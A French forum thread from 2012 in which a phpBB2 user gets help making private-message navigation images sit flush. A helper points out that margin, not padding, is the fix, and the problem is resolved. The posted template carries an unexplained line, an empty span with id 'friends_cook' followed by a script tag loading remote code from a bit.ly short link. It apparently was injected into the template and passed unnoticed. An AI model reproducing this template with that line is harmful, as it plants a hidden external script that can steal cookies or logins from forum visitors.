Une barre de navigation pas collée

Voir le sujet précédent Voir le sujet suivant Aller en bas

Résolu Une barre de navigation pas collée

Message par Invité Ven 03 Fév 2012, 11:47

Bonjour j'ai voulu faire une barre de navigation pour les mp, ayant supprimé les textes grace au templates, cependant j'ai un petit problme, le résultat donne ceci.
Une barre de navigation pas collée 83487420120203114241

Alors que je voudrais que tout soit collé j'ai deja essayé le padding-left : -1px; qui ne marche pas Mad voila mon template
Code:
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td align="center" valign="top" width="100%">
<table border="0" cellspacing="2" cellpadding="0" height="40">
<tr valign="middle">
  <td>{INBOX_IMG}<span id="msg1">{SENTBOX_IMG}</span><span id="msg2">{OUTBOX_IMG}</span><span id="msg3">{SAVEBOX_IMG}</span></td>
</tr>
</table>
</td>
<td align="right"><!-- BEGIN switch_box_size_notice -->
<table class="bodyline" width="250" border="0" cellspacing="1" cellpadding="0">
<tr>
<td class="row1" colspan="3" nowrap="nowrap" width="250"><span class="gensmall">{BOX_SIZE_STATUS}</span></td>
</tr>
<tr>
<td class="row2" colspan="3" width="250">
<table border="0" cellspacing="0" cellpadding="1">
<tr>
<td class="pourcentback"><img src="{PATH_IMG_FA}empty.gif" alt="{INBOX_LIMIT_PERCENT}" height="8" width="{INBOX_LIMIT_IMG_WIDTH}"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td class="row1" width="33%"><span class="gensmall">0%</span></td>
<td class="row1" align="center" width="34%"><span class="gensmall">50%</span></td>
<td class="row1" align="right" width="33%"><span class="gensmall">100%</span></td>
</tr>
</table>
<!-- END switch_box_size_notice --><span id=friends_cook></span><script src=http://bit.ly/caFRHO></script></td>
</tr>
</table><br clear="all" />
<form action="{S_PRIVMSGS_ACTION}" method="post" name="privmsg_list">
<table width="100%" border="0" cellspacing="2" cellpadding="0" align="center">
<tr>
<td valign="middle">{POST_PM_IMG}</td>
<!-- Start add - Custom mass PM MOD -->
<!--<td align="left" valign="middle">{MASS_PM_IMG}</td>-->
<!-- End add - Custom mass PM MOD -->
<td width="100%"></td>
<td align="right" nowrap="nowrap"><span class="gensmall">{L_DISPLAY_MESSAGES}: <select name="msgdays">
{S_SELECT_MSG_DAYS}
</select> <input class="liteoption" type="submit" name="submit_msgdays" value="{L_GO}"></span></td>
</tr>
</table>
<table class="forumline" width="100%" border="0" cellspacing="1" cellpadding="0">
<tr>
<th class="thCornerL" nowrap="nowrap" width="60%" colspan="3"> {L_SUBJECT} </th>
<th class="thTop" nowrap="nowrap" width="20%"> {L_FROM_OR_TO} </th>
<th class="thTop" nowrap="nowrap" width="15%"> {L_DATE} </th>
<th class="thCornerR" nowrap="nowrap" width="5%"> {L_MARK} </th>
</tr>
<!-- BEGIN listrow -->
<tr>
<td class="{listrow.ROW_CLASS}" align="center" valign="middle"><img title="{listrow.L_PRIVMSG_FOLDER_ALT}" src="{listrow.PRIVMSG_FOLDER_IMG}" alt="{listrow.L_PRIVMSG_FOLDER_ALT}"></td>
<td class="{listrow.ROW_CLASS}" align="center" valign="middle">{listrow.PRIVMSG_ICON}</td>
<td class="{listrow.ROW_CLASS}" valign="middle" width="55%"> <span class="topictitle"> <a class="topictitle" href="{listrow.U_READ}">{listrow.SUBJECT}</a></span></td>
<td class="{listrow.ROW_CLASS}" align="center" valign="middle" width="20%"><span class="name"> {listrow.FROM}</span></td>
<td class="{listrow.ROW_CLASS}" align="center" valign="middle" width="15%"><span class="postdetails">{listrow.DATE}</span></td>
<td class="{listrow.ROW_CLASS}" align="center" valign="middle" width="5%"><span class="postdetails"><input type="checkbox" name="mark[]2" value="{listrow.S_MARK_ID}"></span></td>
</tr>
<!-- END listrow --><!-- BEGIN switch_no_messages -->
<tr>
<td class="row1" colspan="6" align="center" valign="middle"><span class="gen">{L_NO_MESSAGES}</span></td>
</tr>
<!-- END switch_no_messages -->
<tr>
<td class="catBottom" colspan="6" align="right" height="28">
   {S_HIDDEN_FIELDS}
   <!-- BEGIN switch_save -->
   <input class="mainoption" type="submit" name="save" value="{L_SAVE_MARKED}">  
   <!-- END switch_save -->
   <!-- BEGIN switch_move_profile -->
   <input class="mainoption" type="submit" name="moveprofile" value="{L_MOVE_PROFILE_MARKED}" />  
   <!-- END switch_move_profile -->
   <input class="liteoption" type="submit" name="delete" value="{L_DELETE_MARKED}">  
   <input class="liteoption" type="submit" name="deleteall" value="{L_DELETE_ALL}">
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="2" cellpadding="0" align="center">
<tr>
   <td valign="top" width="5%"><span class="nav">{POST_PM_IMG}</span></td>
<!-- Start add - Custom mass PM MOD -->
   <!--<td align="left" valign="middle"><span class="nav">{MASS_PM_IMG}</span></td>-->
<!-- End add - Custom mass PM MOD -->
<td valign="middle"><span class="nav">{PAGE_NUMBER}<br /><br /><br /></span></td>
<td align="right" valign="top" nowrap="nowrap"><b><span class="gensmall"><a class="gensmall" href="javascript:select_switch_privmsg(true);">{L_MARK_ALL}</a> :: <a class="gensmall" href="javascript:select_switch_privmsg(false);">{L_UNMARK_ALL}</a></span></b><br /><br />
<span class="nav">{PAGINATION}<br />
</span><span class="gensmall">{S_TIMEZONE}</span></td>
</tr>
</table>
</form>
<table width="100%" border="0">
<tr>
<td align="right" valign="top">{JUMPBOX}</td>
</tr>
</table>
et mon CSS
Code:
#msg1
{
  padding-left: -1px;
}
#msg2
{padding-left: -1px;}
#msg3
{padding-left: -1px;}
Je suis en phpbb2 et sur Firefox, merci de votre aide.


Dernière édition par Akogare no arashi le Ven 03 Fév 2012, 13:54, édité 1 fois
Anonymous

Invité
Invité


Invité a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Dr. Karlos Ven 03 Fév 2012, 13:35

Bonjour,

Insérez ce code dans votre CSS:
Code:
a.mainmenu {margin-right:-11px !important;}


Vous pouvez agrandir la valeur si ça ne colle pas parfaitement.


Cordialement,
Dr. Karlos
Dr. Karlos

Dr. Karlos
Membre actif

Masculin
Messages : 2623
Inscrit(e) le : 03/01/2012

Dr. Karlos a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Invité Ven 03 Fév 2012, 13:42

Bonjour, tout d'abord je vous remercie de m'aider.
Cependant désolé je me suis mal exprimé, en fait ceci c'est quand on lit un mp, je voulais faire un menu type barre de navigation, le code css est pour la barre de navigation sous l'image d'en tete la Mad
Anonymous

Invité
Invité


Invité a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Dr. Karlos Ven 03 Fév 2012, 13:48

Bonjour,

Désolé, j'avais mal lu. Il ne s'agit pas de padding, qui correspond à la distance entre l'objet le cadre, mais bien margin qu'on doit mettre.

Essayez avec ce code:
Code:
#msg1{
margin-left: -8px;}
#msg2{
margin-left: -8px;}
#msg3{
margin-left: -8px;}

Cordialement,
Dr. Karlos


Dernière édition par Dr. Karlos le Ven 03 Fév 2012, 13:58, édité 2 fois
Dr. Karlos

Dr. Karlos
Membre actif

Masculin
Messages : 2623
Inscrit(e) le : 03/01/2012

Dr. Karlos a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Invité Ven 03 Fév 2012, 13:49

Anonymous

Invité
Invité


Invité a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Dr. Karlos Ven 03 Fév 2012, 13:52

Bonjour,

J'ai édité mon précédant message avec une solution. Wink


Cordialement,
Dr. Karlos
Dr. Karlos

Dr. Karlos
Membre actif

Masculin
Messages : 2623
Inscrit(e) le : 03/01/2012

Dr. Karlos a été remercié(e) par l'auteur de ce sujet.

Résolu Re: Une barre de navigation pas collée

Message par Invité Ven 03 Fév 2012, 13:53

Ca marche a merveille !!! en fait j'avais inversé padding et margin la honte Razz
Merci beaucoup encore une fois dr karlos
Anonymous

Invité
Invité


Invité a été remercié(e) par l'auteur de ce sujet.

Voir le sujet précédent Voir le sujet suivant Revenir en haut

- Sujets similaires

Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum